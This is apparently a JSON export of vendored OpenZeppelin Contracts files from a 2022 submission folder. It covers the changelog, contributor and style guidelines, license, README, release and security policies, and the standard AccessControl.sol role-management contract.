revert reason strings, which give insight into error conditions, and help debug failing transactions. ([#1704](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1704))\n\n### Improvements\n * Reverted the Solidity version bump done in v2.2.0, setting the minimum compiler version to v0.5.0, to prevent unexpected build breakage. Users are encouraged however to stay on top of new compiler releases, which usually include bugfixes. ([#1729](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1729))\n\n### Bugfixes\n * `PostDeliveryCrowdsale`: some validations where skipped when paired with other crowdsale flavors, such as `AllowanceCrowdsale`, or `MintableCrowdsale` and `ERC20Capped`, which could cause buyers to not be able to claim their purchased tokens. ([#1721](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1721))\n * `ERC20._transfer`: the `from` argument was allowed to be the zero address, so it was possible to internally trigger a transfer of 0 tokens from the zero address. This address is not a valid destinatary of transfers, nor can it give or receive allowance, so this behavior was inconsistent. It now reverts. ([#1752](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1752))\n\n## 2.2.0 (2019-03-14)\n\n### New features\n * `ERC20Snapshot`: create snapshots on demand of the token balances and total supply, to later retrieve and e.g. calculate dividends at a past time. ([#1617](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1617))\n * `SafeERC20`: `ERC20` contracts with no return value (i.e. that revert on failure) are now supported. ([#1655](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1655))\n * `ERC20`: added internal `_approve(address owner, address spender, uint256 value)`, allowing derived contracts to set the allowance of arbitrary accounts. ([#1609](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1609))\n * `ERC20Metadata`: added internal `_setTokenURI(string memory tokenURI)`. ([#1618](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1618))\n * `TimedCrowdsale`: added internal `_extendTime(uint256 newClosingTime)` as well as `TimedCrowdsaleExtended(uint256 prevClosingTime, uint256 newClosingTime)` event allowing to extend the crowdsale, as long as it hasn't already closed.\n\n### Improvements\n * Upgraded the minimum compiler version to v0.5.2: this removes many Solidity warnings that were false positives. ([#1606](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1606))\n * `ECDSA`: `recover` no longer accepts malleable signatures (those using upper-range values for `s`, or 0/1 for `v`). ([#1622](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1622))\n * ``ERC721``'s transfers are now more gas efficient due to removal of unnecessary `SafeMath` calls. ([#1610](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1610))\n * Fixed variable shadowing issues. ([#1606](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1606))\n\n### Bugfixes\n * (minor) `SafeERC20`: `safeApprove` wasn't properly checking for a zero allowance when attempting to set a non-zero allowance. ([#1647](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1647))\n\n### Breaking changes in drafts\n * `TokenMetadata` has been renamed to `ERC20Metadata`. ([#1618](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1618))\n * The library `Counter` has been renamed to `Counters` and its API has been improved. See an example in `ERC721`, lines [17](https://github.com/OpenZeppelin/openzeppelin-solidity/blob/3cb4a00fce1da76196ac0ac3a0ae9702b99642b5/contracts/token/ERC721/ERC721.sol#L17) and [204](https://github.com/OpenZeppelin/openzeppelin-solidity/blob/3cb4a00fce1da76196ac0ac3a0ae9702b99642b5/contracts/token/ERC721/ERC721.sol#L204). ([#1610](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1610))\n\n## 2.1.3 (2019-02-26)\n * Backported `SafeERC20.safeApprove` bugfix. ([#1647](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1647))\n\n## 2.1.2 (2019-01-17)\n * Removed most of the test suite from the npm package, except `PublicRole.behavior.js`, which may be useful to users testing their own `Roles`.\n\n## 2.1.1 (2019-01-04)\n * Version bump to avoid conflict in the npm registry.\n\n## 2.1.0 (2019-01-04)\n\n### New features\n * Now targeting the 0.5.x line of Solidity compilers. For 0.4.24 support, use version 2.0 of OpenZeppelin.\n * `WhitelistCrowdsale`: a crowdsale where only whitelisted accounts (`WhitelistedRole`) can purchase tokens. Adding or removing accounts from the whitelist is done by whitelist admins (`WhitelistAdminRole`). Similar to the pre-2.0 `WhitelistedCrowdsale`. ([#1525](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1525), [#1589](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1589))\n * `RefundablePostDeliveryCrowdsale`: replacement for `RefundableCrowdsale` (deprecated, see below) where tokens are only granted once the crowdsale ends (if it meets its goal). ([#1543](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1543))\n * `PausableCrowdsale`: allows for pausers (`PauserRole`) to pause token purchases. Other crowdsale operations (e.g. withdrawals and refunds, if applicable) are not affected. ([#832](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/832))\n * `ERC20`: `transferFrom` and `_burnFrom ` now emit `Approval` events, to represent the token's state comprehensively through events. ([#1524](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1524))\n * `ERC721`: added `_burn(uint256 tokenId)`, replacing the similar deprecated function (see below). ([#1550](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1550))\n * `ERC721`: added `_tokensOfOwner(address owner)`, allowing to internally retrieve the array of an account's owned tokens. ([#1522](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1522))\n * Crowdsales: all constructors are now `public`, meaning it is not necessary to extend these contracts in order to deploy them. The exception is `FinalizableCrowdsale`, since it is meaningless unless extended. ([#1564](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1564))\n * `SignedSafeMath`: added overflow-safe operations for signed integers (`int256`). ([#1559](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1559), [#1588](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1588))\n\n### Improvements\n * The compiler version required by `Array` was behind the rest of the libray so it was updated to `v0.4.24`. ([#1553](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1553))\n * Now conforming to a 4-space indentation code style. ([1508](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1508))\n * `ERC20`: more gas efficient due to removed redundant `require`s. ([#1409](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1409))\n * `ERC721`: fixed a bug that prevented internal data structures from being properly cleaned, missing potential gas refunds. ([#1539](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1539) and [#1549](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1549))\n * `ERC721`: general gas savings on `transferFrom`, `_mint` and `_burn`, due to redudant `require`s and `SSTORE`s. ([#1549](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1549))\n\n### Bugfixes\n\n### Breaking changes\n\n### Deprecations\n * `ERC721._burn(address owner, uint256 tokenId)`: due to the `owner` parameter being unnecessary. ([#1550](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1550))\n * `RefundableCrowdsale`: due to trading abuse potential on crowdsales that miss their goal. ([#1543](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1543))\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/CODE_OF_CONDUCT.md",
    "content": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nIn the interest of fostering an open and welcoming environment, we as\ncontributors and maintainers pledge to making participation in our project and\nour community a harassment-free experience for everyone, regardless of age, body\nsize, disability, ethnicity, sex characteristics, gender identity and expression,\nlevel of experience, education, socio-economic status, nationality, personal\nappearance, race, religion, or sexual identity and orientation.\n\n## Our Standards\n\nExamples of behavior that contributes to creating a positive environment\ninclude:\n\n* Using welcoming and inclusive language\n* Being respectful of differing viewpoints and experiences\n* Gracefully accepting constructive criticism\n* Focusing on what is best for the community\n* Showing empathy towards other community members\n\nExamples of unacceptable behavior by participants include:\n\n* The use of sexualized language or imagery and unwelcome sexual attention or\n  advances\n* Trolling, insulting/derogatory comments, and personal or political attacks\n* Public or private harassment\n* Publishing others' private information, such as a physical or electronic\n  address, without explicit permission\n* Other conduct which could reasonably be considered inappropriate in a\n  professional setting\n\n## Our Responsibilities\n\nProject maintainers are responsible for clarifying the standards of acceptable\nbehavior and are expected to take appropriate and fair corrective action in\nresponse to any instances of unacceptable behavior.\n\nProject maintainers have the right and responsibility to remove, edit, or\nreject comments, commits, code, wiki edits, issues, and other contributions\nthat are not aligned to this Code of Conduct, or to ban temporarily or\npermanently any contributor for other behaviors that they deem inappropriate,\nthreatening, offensive, or harmful.\n\n## Scope\n\nThis Code of Conduct applies both within project spaces and in public spaces\nwhen an individual is representing the project or its community. Examples of\nrepresenting a project or community include using an official project e-mail\naddress, posting via an official social media account, or acting as an appointed\nrepresentative at an online or offline event. Representation of a project may be\nfurther defined and clarified by project maintainers.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be\nreported by contacting the project team at maintainers@openzeppelin.org. All\ncomplaints will be reviewed and investigated and will result in a response that\nis deemed necessary and appropriate to the circumstances. The project team is\nobligated to maintain confidentiality with regard to the reporter of an incident.\nFurther details of specific enforcement policies may be posted separately.\n\nProject maintainers who do not follow or enforce the Code of Conduct in good\nfaith may face temporary or permanent repercussions as determined by other\nmembers of the project's leadership.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,\navailable at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html\n\n[homepage]: https://www.contributor-covenant.org\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/CONTRIBUTING.md",
    "content": "Contributing to OpenZeppelin Contracts\n=======\n\nWe really appreciate and value contributions to OpenZeppelin Contracts. Please take 5' to review the items listed below to make sure that your contributions are merged as soon as possible.\n\n## Contribution guidelines\n\nSmart contracts manage value and are highly vulnerable to errors and attacks. We have very strict [guidelines], please make sure to review them!\n\n## Creating Pull Requests (PRs)\n\nAs a contributor, you are expected to fork this repository, work on your own fork and then submit pull requests. The pull requests will be reviewed and eventually merged into the main repo. See [\"Fork-a-Repo\"](https://help.github.com/articles/fork-a-repo/) for how this works.\n\n## A typical workflow\n\n1) Make sure your fork is up to date with the main repository:\n\n```\ncd openzeppelin-contracts\ngit remote add upstream https://github.com/OpenZeppelin/openzeppelin-contracts.git\ngit fetch upstream\ngit pull --rebase upstream master\n```\nNOTE: The directory `openzeppelin-contracts` represents your fork's local copy.\n\n2) Branch out from `master` into `fix/some-bug-#123`:\n(Postfixing #123 will associate your PR with the issue #123 and make everyone's life easier =D)\n```\ngit checkout -b fix/some-bug-#123\n```\n\n3) Make your changes, add your files, commit, and push to your fork.\n\n```\ngit add SomeFile.js\ngit commit \"Fix some bug #123\"\ngit push origin fix/some-bug-#123\n```\n\n4) Run tests, linter, etc. This can be done by running local continuous integration and make sure it passes.\n\n```bash\nnpm test\nnpm run lint\n```\n\n5) Go to [github.com/OpenZeppelin/openzeppelin-contracts](https://github.com/OpenZeppelin/openzeppelin-contracts) in your web browser and issue a new pull request.\n\n*IMPORTANT* Read the PR template very carefully and make sure to follow all the instructions. These instructions\nrefer to some very important conditions that your PR must meet in order to be accepted, such as making sure that all tests pass, JS linting tests pass, Solidity linting tests pass, etc.\n\n6) Maintainers will review your code and possibly ask for changes before your code is pulled in to the main repository. We'll check that all tests pass, review the coding style, and check for general code correctness. If everything is OK, we'll merge your pull request and your code will be part of OpenZeppelin Contracts.\n\n*IMPORTANT* Please pay attention to the maintainer's feedback, since its a necessary step to keep up with the standards OpenZeppelin Contracts attains to.\n\n## All set!\n\nIf you have any questions, feel free to post them to github.com/OpenZeppelin/openzeppelin-contracts/issues.\n\nFinally, if you're looking to collaborate and want to find easy tasks to start, look at the issues we marked as [\"Good first issue\"](https://github.com/OpenZeppelin/openzeppelin-contracts/labels/good%20first%20issue).\n\nThanks for your time and code!\n\n[guidelines]: GUIDELINES.md\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/DOCUMENTATION.md",
    "content": "Documentation is hosted at https://docs.openzeppelin.com/contracts.\n\nAll of the content for the site is in this repository. The guides are in the\n[docs](/docs) directory, and the API Reference is extracted from comments in\nthe source code. If you want to help improve the content, this is the\nrepository you should be contributing to.\n\n[`solidity-docgen`](https://github.com/OpenZeppelin/solidity-docgen) is the\nprogram that extracts the API Reference from source code.\n\nThe [`docs.openzeppelin.com`](https://github.com/OpenZeppelin/docs.openzeppelin.com)\nrepository hosts the configuration for the entire site, which includes\ndocumentation for all of the OpenZeppelin projects.\n\nTo run the docs locally you should run `npm run docs:watch` on this\nrepository.\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/GUIDELINES.md",
    "content": "Design Guidelines\n=======\n\nThese are some global design goals in OpenZeppelin Contracts.\n\n#### D0 - Security in Depth\nWe strive to provide secure, tested, audited code. To achieve this, we need to match intention with function. Thus, documentation, code clarity, community review and security discussions are fundamental.\n\n#### D1 - Simple and Modular\nSimpler code means easier audits, and better understanding of what each component does. We look for small files, small contracts, and small functions. If you can separate a contract into two independent functionalities you should probably do it.\n\n#### D2 - Naming Matters\n\nWe take our time with picking names. Code is going to be written once, and read hundreds of times. Renaming for clarity is encouraged.\n\n#### D3 - Tests\n\nWrite tests for all your code. We encourage Test Driven Development so we know when our code is right. Even though not all code in the repository is tested at the moment, we aim to test every line of code in the future.\n\n#### D4 - Check preconditions and post-conditions\n\nA very important way to prevent vulnerabilities is to catch a contract’s inconsistent state as early as possible. This is why we want functions to check pre- and post-conditions for executing its logic. When writing code, ask yourself what you are expecting to be true before and after the function runs, and express it in code.\n\n#### D5 - Code Consistency\n\nConsistency on the way classes are used is paramount to an easier understanding of the library. The codebase should be as unified as possible. Read existing code and get inspired before you write your own. Follow the style guidelines. Don’t hesitate to ask for help on how to best write a specific piece of code.\n\n#### D6 - Regular Audits\nFollowing good programming practices is a way to reduce the risk of vulnerabilities, but professional code audits are still needed. We will perform regular code audits on major releases, and hire security professionals to provide independent review.\n\n# Style Guidelines\n\nThe design guidelines have quite a high abstraction level. These style guidelines are more concrete and easier to apply, and also more opinionated. We value clean code and consistency, and those are prerequisites for us to include new code in the repository. Before proposing a change, please read these guidelines and take some time to familiarize yourself with the style of the existing codebase.\n\n## Solidity code\n\nIn order to be consistent with all the other Solidity projects, we follow the\n[official recommendations documented in the Solidity style guide](http://solidity.readthedocs.io/en/latest/style-guide.html).\n\nAny exception or additions specific to our project are documented below.\n\n* Try to avoid acronyms and abbreviations.\n\n* All state variables should be private.\n\n* Private state variables should have an underscore prefix.\n\n    ```\n    contract TestContract {\n      uint256 private _privateVar;\n      uint256 internal _internalVar;\n    }\n    ```\n\n* Parameters must not be prefixed with an underscore.\n\n    ```\n    function test(uint256 testParameter1, uint256 testParameter2) {\n    ...\n    }\n    ```\n\n* Internal and private functions should have an underscore prefix.\n\n    ```\n    function _testInternal() internal {\n      ...\n    }\n    ```\n\n    ```\n    function _testPrivate() private {\n      ...\n    }\n    ```\n\n* Events should be emitted immediately after the state change that they\n  represent, and consequently they should be named in past tense.\n\n    ```\n    function _burn(address who, uint256 value) internal {\n      super._burn(who, value);\n      emit TokensBurned(who, value);\n    }\n    ```\n\n  Some standards (e.g. ERC20) use present tense, and in those cases the\n  standard specification prevails.\n  \n* Interface names should have a capital I prefix.\n\n    ```\n    interface IERC777 {\n    ```\n\n\n## Tests\n\n* Tests Must be Written Elegantly\n\n    Tests are a good way to show how to use the library, and maintaining them is extremely necessary. Don't write long tests, write helper functions to make them be as short and concise as possible (they should take just a few lines each), and use good variable names.\n\n* Tests Must not be Random\n\n    Inputs for tests should not be generated randomly. Accounts used to create test contracts are an exception, those can be random. Also, the type and structure of outputs should be checked.\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) 2016-2020 zOS Global Limited\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be included\nin all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\nOR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\nIN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\nCLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\nTORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\nSOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/README.md",
    "content": "# <img src=\"logo.svg\" alt=\"OpenZeppelin\" height=\"40px\">\n\n[![Docs](https://img.shields.io/badge/docs-%F0%9F%93%84-blue)](https://docs.openzeppelin.com/contracts)\n[![NPM Package](https://img.shields.io/npm/v/@openzeppelin/contracts.svg)](https://www.npmjs.org/package/@openzeppelin/contracts)\n[![Coverage Status](https://codecov.io/gh/OpenZeppelin/openzeppelin-contracts/graph/badge.svg)](https://codecov.io/gh/OpenZeppelin/openzeppelin-contracts)\n\n**A library for secure smart contract development.** Build on a solid foundation of community-vetted code.\n\n * Implementations of standards like [ERC20](https://docs.openzeppelin.com/contracts/erc20) and [ERC721](https://docs.openzeppelin.com/contracts/erc721).\n * Flexible [role-based permissioning](https://docs.openzeppelin.com/contracts/access-control) scheme.\n * Reusable [Solidity components](https://docs.openzeppelin.com/contracts/utilities) to build custom contracts and complex decentralized systems.\n\n:mage: **Not sure how to get started?** Check out [Contracts Wizard](https://wizard.openzeppelin.com/) — an interactive smart contract generator.\n\n## Overview\n\n### Installation\n\n```console\n$ npm install @openzeppelin/contracts\n```\n\nOpenZeppelin Contracts features a [stable API](https://docs.openzeppelin.com/contracts/releases-stability#api-stability), which means your contracts won't break unexpectedly when upgrading to a newer minor version.\n\n### Usage\n\nOnce installed, you can use the contracts in the library by importing them:\n\n```solidity\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\n\ncontract MyCollectible is ERC721 {\n    constructor() ERC721(\"MyCollectible\", \"MCO\") {\n    }\n}\n```\n\n_If you're new to smart contract development, head to [Developing Smart Contracts](https://docs.openzeppelin.com/learn/developing-smart-contracts) to learn about creating a new project and compiling your contracts._\n\nTo keep your system secure, you should **always** use the installed code as-is, and neither copy-paste it from online sources, nor modify it yourself. The library is designed so that only the contracts and functions you use are deployed, so you don't need to worry about it needlessly increasing gas costs.\n\n## Learn More\n\nThe guides in the [docs site](https://docs.openzeppelin.com/contracts) will teach about different concepts, and how to use the related contracts that OpenZeppelin Contracts provides:\n\n* [Access Control](https://docs.openzeppelin.com/contracts/access-control): decide who can perform each of the actions on your system.\n* [Tokens](https://docs.openzeppelin.com/contracts/tokens): create tradeable assets or collectives, and distribute them via [Crowdsales](https://docs.openzeppelin.com/contracts/crowdsales).\n* [Gas Station Network](https://docs.openzeppelin.com/contracts/gsn): let your users interact with your contracts without having to pay for gas themselves.\n* [Utilities](https://docs.openzeppelin.com/contracts/utilities): generic useful tools, including non-overflowing math, signature verification, and trustless paying systems.\n\nThe [full API](https://docs.openzeppelin.com/contracts/api/token/ERC20) is also thoroughly documented, and serves as a great reference when developing your smart contract application. You can also ask for help or follow Contracts's development in the [community forum](https://forum.openzeppelin.com).\n\nFinally, you may want to take a look at the [guides on our blog](https://blog.openzeppelin.com/guides), which cover several common use cases and good practices.. The following articles provide great background reading, though please note, some of the referenced tools have changed as the tooling in the ecosystem continues to rapidly evolve.\n\n* [The Hitchhiker’s Guide to Smart Contracts in Ethereum](https://blog.openzeppelin.com/the-hitchhikers-guide-to-smart-contracts-in-ethereum-848f08001f05) will help you get an overview of the various tools available for smart contract development, and help you set up your environment.\n* [A Gentle Introduction to Ethereum Programming, Part 1](https://blog.openzeppelin.com/a-gentle-introduction-to-ethereum-programming-part-1-783cc7796094) provides very useful information on an introductory level, including many basic concepts from the Ethereum platform.\n* For a more in-depth dive, you may read the guide [Designing the Architecture for Your Ethereum Application](https://blog.openzeppelin.com/designing-the-architecture-for-your-ethereum-application-9cec086f8317), which discusses how to better structure your application and its relationship to the real world.\n\n## Security\n\nThis project is maintained by [OpenZeppelin](https://openzeppelin.com), and developed following our high standards for code quality and security. OpenZeppelin Contracts is meant to provide tested and community-audited code, but please use common sense when doing anything that deals with real money! We take no responsibility for your implementation decisions and any security problems you might experience.\n\nThe core development principles and strategies that OpenZeppelin Contracts is based on include: security in depth, simple and modular code, clarity-driven naming conventions, comprehensive unit testing, pre-and-post-condition sanity checks, code consistency, and regular audits.\n\nThe latest audit was done on October 2018 on version 2.0.0.\n\nPlease report any security issues you find via our [bug bounty program on Immunefi](https://www.immunefi.com/bounty/openzeppelin) or directly to security@openzeppelin.org.\n\nCritical bug fixes will be backported to past major releases.\n\n## Contribute\n\nOpenZeppelin Contracts exists thanks to its contributors. There are many ways you can participate and help build high quality software. Check out the [contribution guide](CONTRIBUTING.md)!\n\n## License\n\nOpenZeppelin Contracts is released under the [MIT License](LICENSE).\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/RELEASING.md",
    "content": "# Releasing\n\n> Visit the documentation for [details about release schedule].\n\nStart on an up-to-date `master` branch.\n\nCreate the release branch with `npm run release start minor`.\n\nPublish a release candidate with `npm run release rc`.\n\nPublish the final release with `npm run release final`.\n\nFollow the general [OpenZeppelin Contracts release checklist].\n\n[details about release schedule]: https://docs.openzeppelin.com/contracts/releases-stability\n[OpenZeppelin Contracts release checklist]: https://github.com/OpenZeppelin/code-style/blob/master/RELEASE_CHECKLIST.md\n\n\n## Merging the release branch\n\nAfter the final release, the release branch should be merged back into `master`. This merge must not be squashed because it would lose the tagged release commit. Since the GitHub repo is set up to only allow squashed merges, the merge should be done locally and pushed.\n\nMake sure to have the latest changes from `upstream` in your local release branch.\n\n```\ngit checkout release-vX.Y.Z\ngit pull upstream\n```\n\n```\ngit checkout master\ngit merge --no-ff release-vX.Y.Z\ngit push upstream master\n```\n\nThe release branch can then be deleted on GitHub.\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/SECURITY.md",
    "content": "# Security Policy\n\n## Supported Versions\n\nThe recommendation is to use the latest version available.\n\n| Version | Supported                            |\n| ------- | ------------------------------------ |\n| 4.x     | :white_check_mark::white_check_mark: |\n| 3.4     | :white_check_mark:                   |\n| 2.5     | :white_check_mark:                   |\n| < 2.0   | :x:                                  |\n\n## Reporting a Vulnerability\n\nPlease report any security issues you find to security@openzeppelin.org.\n\nCritical bug fixes will be backported to past major releases.\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/access/AccessControl.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IAccessControl.sol\";\nimport \"../utils/Context.sol\";\nimport \"../utils/Strings.sol\";\nimport \"../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Contract module that allows children to implement role-based access\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\n * members except through off-chain means by accessing the contract event logs. Some\n * applications may benefit from on-chain enumerability, for those cases see\n * {AccessControlEnumerable}.\n *\n * Roles are referred to by their `bytes32` identifier. These should be exposed\n * in the external API and be unique. The best way to achieve this is by\n * using `public constant` hash digests:\n *\n * ```\n * bytes32 public constant MY_ROLE = keccak256(\"MY_ROLE\");\n * ```\n *\n * Roles can be used to represent a set of permissions. To restrict access to a\n * function call, use {hasRole}:\n *\n * ```\n * function foo() public {\n *     require(hasRole(MY_ROLE, msg.sender));\n *     ...\n * }\n * ```\n *\n * Roles can be granted and revoked dynamically via the {grantRole} and\n * {revokeRole} functions. Each role has an associated admin role, and only\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\n *\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\n * that only accounts with this role will be able to grant or revoke other\n * roles. More complex role relationships can be created by using\n * {_setRoleAdmin}.\n *\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\n * grant and revoke this role. Extra precautions should be taken to secure\n * accounts that have been granted it.\n */\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\n    struct RoleData {\n        mapping(address => bool) members;\n        bytes32 adminRole;\n    }\n\n    mapping(bytes32 => RoleData) private _roles;\n\n    bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n\n    /**\n     * @dev Modifier that checks that an account has a specific role. Reverts\n     * with a standardized message including the required role.\n     *\n     * The format of the revert reason is given by the following regular expression:\n     *\n     *  /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/\n     *\n     * _Available since v4.1._\n     */\n    modifier onlyRole(bytes32 role) {\n        _checkRole(role, _msgSender());\n        _;\n    }\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n        return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);\n    }\n\n    /**\n     * @dev Returns `true` if `account` has been granted `role`.\n     */\n    function hasRole(bytes32 role, address account) public view override returns (bool) {\n        return _roles[role].members[account];\n    }\n\n    /**\n     * @dev Revert with a standard message if `account` is missing `role`.\n     *\n     * The format of the revert reason is given by the following regular expression:\n     *\n     *  /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/\n     */\n    function _checkRole(bytes32 role, address account) internal view {\n        if (!hasRole(role, account)) {\n            revert(\n                string(\n                    abi.encodePacked(\n                        \"AccessControl: account \",\n                        Strings.toHexString(uint160(account), 20),\n                        \" is missing role \",\n                        Strings.toHexString(uint256(role), 32)\n                    )\n                )\n            );\n        }\n    }\n\n    /**\n     * @dev Returns the admin role that controls `role`. See {grantRole} and\n     * {revokeRole}.\n     *\n     * To change a role's admin, use {_setRoleAdmin}.\n     */\n    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\n        return _roles[role].adminRole;\n    }\n\n    /**\n     * @dev Grants `role` to `account`.\n     *\n     * If `account` had not been already granted `role`, emits a {RoleGranted}\n     * event.\n     *\n     * Requirements:\n     *\n     * - the caller must have ``role``'s admin role.\n     */\n    function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\n        _grantRole(role, account);\n    }\n\n    /**\n     * @dev Revokes `role` from `account`.\n     *\n     * If `account` had been granted `role`, emits a {RoleRevoked} event.\n     *\n     * Requirements:\n     *\n     * - the caller must have ``role``'s admin role.\n     */\n    function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\n        _revokeRole(role, account);\n    }\n\n    /**\n     * @dev Revokes `role` from the calling account.\n     *\n     * Roles are often managed via {grantRole} and {revokeRole}: this function's\n     * purpose is to provide a mechanism for accounts to lose their privileges\n     * if they are compromised (such as when a trusted device is misplaced).\n     *\n     * If the calling account had been revoked `role`, emits a {RoleRevoked}\n     * event.\n     *\n     * Requirements:\n     *\n     * - the caller must be `account`.\n     */\n    function renounceRole(bytes32 role, address account) public virtual override {\n        require(account == _msgSender(), \"AccessControl: can only renounce roles for self\");\n\n        _revokeRole(role, account);\n    }\n\n    /**\n     * @dev Grants `role` to `account`.\n     *\n     * If `account` had not been already granted `role`, emits a {RoleGranted}\n     * event. Note that unlike {grantRole}, this function doesn't perform any\n     * checks on the calling account.\n     *\n     * [WARNING]\n     * ====\n     * This function should only be called from the constructor when setting\n     * up the initial roles for the system.\n     *\n     * Using this function in any other way is effectively circumventing the admin\n     * system imposed by {AccessControl}.\n     * ====\n     *\n     * NOTE: This function is deprecated in favor of {_grantRole}.\n     */\n    function _setupRole(bytes32 role, address account) internal virtual {\n        _grantRole(role, account);\n    }\n\n    /**\n     * @dev Sets `adminRole` as ``role``'s admin role.\n     *\n     * Emits a {RoleAdminChanged} event.\n     */\n    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\n        bytes32 previousAdminRole = getRoleAdmin(role);\n        _roles[role].adminRole = adminRole;\n        emit RoleAdminChanged(role, previousAdminRole, adminRole);\n    }\n\n    /**\n     * @dev Grants `role` to `account`.\n     *\n     * Internal function without access restriction.\n     */\n    function _grantRole(bytes32 role, address account) internal virtual {\n        if (!hasRole(role, account)) {\n            _roles[role].members[account] = true;\n            emit RoleGranted(role, account, _msgSender());\n        }\n    }\n\n    /**\n     * @dev Revokes `role` from `account`.\n     *\n     * Internal function without access restriction.\n     */\n    function _revokeRole(bytes32 role, address account) internal virtual {\n        if (hasRole(role, account)) {\n            _roles[role].members[account] = false;\n            emit RoleRevoked(role, account, _msgSender());\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/access/AccessControlEnumerable.sol",
